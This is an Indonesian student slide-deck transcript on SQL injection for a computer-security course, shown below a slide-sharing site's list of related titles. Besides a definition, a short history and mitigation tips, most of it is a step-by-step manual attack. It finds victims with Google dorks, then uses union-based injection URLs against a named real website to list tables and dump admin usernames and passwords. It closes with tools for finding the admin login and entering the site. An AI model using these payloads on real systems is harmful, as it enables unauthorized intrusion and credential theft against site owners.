Dosen Pengasuh: Evanita V. Manullang MT

Slides:



Advertisements
Presentasi serupa
KEAMANAN WEB SURYAYUSRA, M.KOM.
Advertisements

Basis Data 2.
Sejarah (1) • Tahun 1974, Dr. Chamberlin dari Saan Jose Laboratorium IBM mendefinisikan sebuah bahasa untuk mengakses database yang disebut dengan SEQUEL.
Pertemuan 2 : Dasar-dasar SQL SBD C – Senin, Frank & Rudy
Oracle : Form/Report Developer
Pengantar Teknologi Informasi
PERINTAH SQL.
PHP dan MySQL.
Database Management System
Konsep Basis Data di Web
PEMROGRAMAN BASIS DATA
Copyright © Wondershare Software Sql WITH Visual BasiC By : www. budileo.com AMIK TRI DHARMA PEKANBARU Materi 2. Materi 2. Orientasi Database MySQL Jika.
MEMBUAT HALAMAN LOGIN dan PENGGUNAAN SESSION
SQL (Structured Query Language)
Database MySQL.
Manajemen Basis Data menggunakan SQL Server
Abstraksi dan bahasa basis data
Internet Programming MySQL
Pemrogramn Berorientasi Obyek MySQL
Keamanan Web Server Pertemuan XI.
SQL (Structured Query Language )
Microsoft SQL Server DDL dan DML dasar
Pertemuan II Kuliah Pemrograman Web Menggunakan JSP
DATABASE Pert. 1 Pengenalan Microsoft Access Dosen : Dewi Octaviani, S
Sistem Pendeteksi Penyusup Sebuah sistem keamanan adalah sekumpulan komponen yg bertugas untuk mengamankan sesuatu yg berharga. Analoginya jika kita ingin.
Mengenal DBMS (Database Management System)
Data Types Data Definition Language Referential Constraint SQL Query
BAHASA QUERY TERAPAN OLEH : HARSITI, ST.
BAB 5 Mengakses Internet.
BASIS DATA TERAPAN TINALIAH, S. Kom. Tujuan Perkuliahan  Mahasiswa mempelajari bagaimana mengelola database, mengakses data, mengubah data, membuat stored.
SQL Basis data kelas XI. PENGENALAN SQL ■SQL merupakan singkatan dari Structured Query Language. ■SQL merupakan bahasa yang digunakan untuk mengakses.
Dinny Wahyu Widarti, S.Kom., MMSI
Keamanan Web Server Pertemuan XI.
PENGANTAR TEKNOLOGI SIA 2
Website Security.
Pertemuan after UTS Structure Query Language (SQL)
Pengamanan Sistem Jaringan
Pemrograman internet ABU SALAM, M.KOM.
DDL, DML.
PENGANTAR SQL MI2143 – Dasar SQL Disusun oleh:
SQL.
SQL (Structure Query Language)
Manajemen Basis Data menggunakan SQL Server
Konsep Teknologi Informasi B
SQL Basis Data.
SQL OVERVIEW.
R ESOURCES SHARING OLEH A N G R A I N I.
Kuliah II SISTEM BASIS DATA
Membangun Toko Online E-Commerce Dengan Prestashop
Management Information System
Universitas Udayana MIPA Ilmu Komputer 2010 Please wait.
Pemrograman Internet Database.
PENGAMANAN WEB.
KEAMANAN WEBSITE.
Keamanan Sistem World Wide Web
MAIL SERVER KELOMPOK : IX SAFRIL ( ) MUHAMMAD NUR
Keamanan Web Server Pertemuan 9.
KEAMANAN PADA APLIKASI WEB DENGAN PHP
Microsof Acces 2007 adalah sebuah program aplikasi basis data komputer relasional yang ditujukan untuk kalangan rumahan dan perusahaan kecil hingga menengah.
Pengantar Teknologi Informasi
Pengenalan mySQL database
Pengantar Teknologi Informasi
Pengantar Teknologi Informasi
SQL.
Administrasi basis data
Oleh : Rahmat Robi Waliyansyah, M.Kom.
DATA BASE MANAGEMENT SYSTEM
Mengenal DBMS (Database Management System)
MEMBANGUN DATABASE DENGAN MySQL
PENDAHULUAN MySQL Oleh: Rudianto.
Transcript presentasi:

Dosen Pengasuh: Evanita V. Manullang MT K E L O M P O K V KEAMANAN KOMPUTER Dosen Pengasuh: Evanita V. Manullang MT

WELCOME “SQL INJECTION” Kelompok V

Profile JAMAL ADRIYANTO 13 411 028 RIZYA N.T. ESURU DANHERTIN M. LAHU Anggota Kelompok: RIZYA N.T. ESURU 15 411 104 DANHERTIN M. LAHU 14 411 022 JAMAL ADRIYANTO 13 411 028 HARYO WIDAGDO 14 411 105 ESA ANNIN SULIVAN 14 411 117 MISDAL 14 411 086

Pengertian SQL Injection SQL injection adalah kegiatan menyisipkan perintah SQL kepada suatu statement SQL yang ada pada aplikasi yang sedang berjalan. Dengan kata lain SQL injection ini merupakan suatu tehnik pengeksploitasi pada web apilikasi yang didalamna menggunakan database untuk penyimpanan datanya. Terjadinya SQL injection tersebut dikarenakan security atau keamanan pada level aplikasi (dalam hal ini aplikasi web) masih kurang sempurna. Kurang sempurnanya adalah pada cara aplikasi meng-handle inputan yang boleh di proses ke dalam database. Misalnya pada suatu web yang terdapat fasilitas login, terdapat dua buah inputan pada umumnya, yaitu username dan password. Jika karakter yang masuk melalui dua buah inputan tersebut tidak difilter (disaring) dengan baik maka bisa menimbulkan efek SQL injection, ini dikarenakan biasanya inputan tersebut secara sistem akan menjadi bagian dari kriteria dari suatu perintah SQL di dalam aplikasi web-nya. Kelompok V

SEJARAH SQL Injection Sejarah SQL dimulai dari artikel seorang peneliti dari IBM bernama EF Codd yang membahas tentang ide pembuatan basis data relasional pada bulan Juni 1970. Artikel ini juga membahas kemungkinan pembuatan bahasa standar untuk mengakses data dalam basis data tersebut. Bahasa tersebut kemudian diberi nama SEQUEL (Structured English Query Language). Setelah terbitnya artikel tersebut, IBM mengadakan proyek pembuatan basis data relasional berbasis bahasa SEQUEL. Akan tetapi, karena permasalahan hukum mengenai penamaan SEQUEL, IBM pun mengubahnya menjadi SQL. Implementasi basis data relasional dikenal dengan System/R. Di akhir tahun 1970-an, muncul perusahaan bernama Oracle yang membuat server basis data populer yang bernama sama dengan nama perusahaannya. Dengan naiknya kepopuleran Oracle, maka SQL juga ikut populer sehingga saat ini menjadi standar de facto bahasa dalam manajemen basis data. Standarisasi SQL dimulai pada tahun 1986, ditandai dengan dikeluarkannya standar SQL oleh ANSI. Standar ini sering disebut dengan SQL86.Standar tersebut kemudian diperbaiki pada tahun 1989 kemudian diperbaiki lagi pada tahun 1992. Versi terakhir dikenal dengan SQL92. Pada tahun 1999 dikeluarkan standar baru yaitu SQL99 atau disebut juga SQL99, akan tetapi kebanyakan implementasi mereferensi pada SQL92. Saat ini sebenarnya tidak ada server basis data yang 100% mendukung SQL92. Hal ini disebabkan masing-masing server memiliki dialek masing-masing. Secara umum, SQL terdiri dari dua bahasa, yaitu Data Definition Language (DDL) dan Data Manipulation Language (DML). Implementasi DDL dan DML berbeda untuk tiap sistem manajemen basis data (SMBD), namun secara umum implementasi tiap bahasa ini memiliki bentuk standar yang ditetapkan ANSI. Artikel ini akan menggunakan bentuk paling umum yang dapat digunakan pada kebanyakan SMBD. Kelompok V

KARAKTERISITIK Karakaterisitik SQL injection Teknik serangan ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki account. memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database. Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan kepada web server. Kelompok V

MEMINIMALISIR Cara MeMiniMalisir SQL Injection Ada beberapa cara yang dapat digunakan untuk meminimalisasikan terjadinya serangan SQL injection diantaranya adalah sebagai berikut : Warning atau Error pada query tidak perlu ditampilkan. Lebih baik dibuat script yang akan langsung memfeedback log error/warning ke developer/adminnya jika terjadi kesalahan query, sementara di end-user bisa ditampilkan, misal error 404. ada beberapa web hosting yang memberikan penamaan yang sama untuk direktori usernya (shared hosting), misal /sompret/x2324/nama-domain (dimana sompret selalu sama untuk setiap user dalam satu mesin, x2324 adalah username, dan nama-domain adalah nama domain yang digunakan si x2324. Pesan warning dan error query yang terjadi akibat script akan menampilkan path letak file tersebut. Akan lebih parah lagi jika user memberi permission 777 ke dir / file. Developer hendaknya melakukan validasi terhadap URL dan memfilter bentuk request yang menjurus terhadap tindakan injeksi. Jangan pernah dumping database ke direktori yang tidak restrict permissionnya / publik. Dan penamaan terhadap file hasil dumping database diusahakan tidak umum seperti pemberian tanggal-bulan-tahun (misal : 13071984.sql). Beberapa third party atau extension / module suatu CMS yang menggunakan konfigurasi default bisa ditebak direktori dan nama filenya. Kelompok V

4. Lakukaan audit sendiri dengan berbagai macam tools yang ada. 5. Jika dana tidak mencukupi maka tidak ada salahnya konsultasi dengan pihak yang lebih pandai tentang SQL Injection. Kelompok V

AKSI SQL Injection Ada 2 cara yang bisa dilakukan untuk sql injection Langkah-langkah melakukan SQL Injection Ada 2 cara yang bisa dilakukan untuk sql injection Manual software Kelompok V

Penyerangan dengan cara Manual Step by step Menentukan target! 1 Cara mencari target yang akan di crak dengan menggunakan google Dork Setelah target ditemukan 2 Langsung di cek apakah situs tersebut Vulnerable terhadap sql Injection atau tidak Cara mengeceknya yaitu dengan menambahkan karakter (‘) di belakang ID Url-nya Kelompok V

3 http://morningkiss.com.my/product_detail.php?id=116 Jadinya seperti ini http://morningkiss.com.my/product_detail.php?id=116’ Setelah diberi karakter (‘) dibelakan url dan terjadi Error, maka situs tersebut vulnerable terhadap Sql Injection 3 "Fatal error: Call to a member function Recordcount() on a non-object in /home/agan/sites/morningkiss.com.my/public_html/product_detail.php on line 60" Berikut contoh-contoh error pada web yang terkena celah SQL Injection -You have an error in your SQL syntax; -Warning: mysql_fetch_array() -Warning: mysql_num_rows() Kelompok V

kemudian kita melanjutkan dengan melihat isi database dari situs tersebut menggunakan perintah Query Sebelumnya kita harus mengetahui ada berapa column database tersebut dengan cara memberikan perintah "order by 1--+-" pada akhir url id 4 Jadinya seperti ini: http://morningkiss.com.my/product_detail.php?id=116 order by 1--+- error pada "order by 9 --+-" jika di tulis di url http://morningkiss.com.my/product_detail.php?id=116 order by 9--+- Kelompok V

setelah kita mengetahui ada 8 column sekarang kita juga harus mengetahui dimana letak isi column pada laman web tersebut di antara 8 column itu dengan perintah "union select 1,2,3,4,5,6,7,8--+-" dan sebelum id url tersebut kita berikan karakter (-) urlnya menjadi : http://morningkiss.com.my/product_detail.php?id=-116 union select 1,2,3,4,5,6,7,8--+- 5 Setelah dicoba, maka muncul angka-angka yang seblumnya tidak ada yaitu: 2 Dan 6 Pada angka 2 dan 6 inilah letak laman pada web tersebut. Kelompok V

6 untuk melihat isi nama-nama database kita menggunakan perintah Sebeleum melanjutkan langhkah berikutnya, kita harus mengecek versi database yang digunakan. untuk melihat isi nama-nama database kita menggunakan perintah group_concat(table_name)" dan lalu di akhir url sebelum karakter "--+-" kita tambahkan perintah "from+information_schema.tables+where+table_schema=database()" jadi urlnya menjadi : http://morningkiss.com.my/product_detail.php?id=-116 union select 1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()--+- 6 Setelah column pada database ditemukan selanjutnya mencari column yang menyimpan data User atau Admin, Kelompok V

7 Pada web ini terdapat pada column “tbl_admin bongkar isi table tbl_admin tersebut dengan mengubaha sedikit perintah sebelumnya,jadi perintah "group_concat(table_name)" di ubah menjadi "group_concat(column_name)" dan perintah "from+information_schema.tables+where+table_schema=" 7 menjadi "from+information_schema.columns+where+table_name=" lalu "database()" di ubah menjadi Decimal tbl_admin,nah untuk mengubah teks "tbl_admin" menjadi Decimal kita bisa menggunakan add-ons yang terdapat pada mozilla firefox yaitu add-ons yang bernama HackBar Kelompok V

setelah itu masukan teks yang ingin di ubah ke Decimal contoh kasus disini ialah "tbl _admin" dan kita dapatkan hasilnya yaitu "CHAR(116, 98, 108, 95, 97, 100, 109, 105, 110)" setelah informasi sudah di dapatkan lalu kita masukan perintahnya untuk melihat isi table tbl_admin tersebut, jadi urlnya menjadi : http://morningkiss.com.my/product_detail.php?id=-116 union select 1,group_concat(column_name),3,4,5,6,7,8+from+information_schema.columns+where+table_name=CHAR(116, 98, 108, 95, 97, 100, 109, 105, 110)--+- 8 pada saat kita gunakan perintah tersebut kita temukan ada column database untuk username admin dan password admin Ubah perintah sebelumnya yaitu "group_concat(column_name)" dengan "group_concat(admin_username,0x3a,admin_password)" dan "+from+information_schema.columns+where+table_name=CHAR(116, 98, 108, 95, 97, 100, 109, 105, 110)--+-" menjadi "+from+tbl_admin--+-" Kelompok V

9 Admin loginnya biasanya terletak pada “Admin” atau Administrators Url Terakhirnya menjadi : http://morningkiss.com.my/product_detail.php?id=-116 union select 1,group_concat(admin_username,0x3a,admin_password),3,4,5,6,7,8+from+tbl_admin--+- Setelah username dan Password ditemukan langkah terakhir adlah dengan mencari tempat admin loginnya Admin loginnya biasanya terletak pada “Admin” atau Administrators jika tidak nemu login adminnya kalian bisa gunakan software "Acunetix Web Vulnerability Scanner" ini adalah software yang di gunakan webmaster untuk mengecek security web mereka tapi bisa juga kita gunakan untuk mencari admin login 9 Atau bias menggunakan software Dirbuster yang disediakan oleh Java Setelah admin login ditemukan selanjutnya langsung menjelajah isi dari web tersebut. Kelompok V

Kelompok V: SQL Injection THANK YOU! Any Questions? Kelompok V: SQL Injection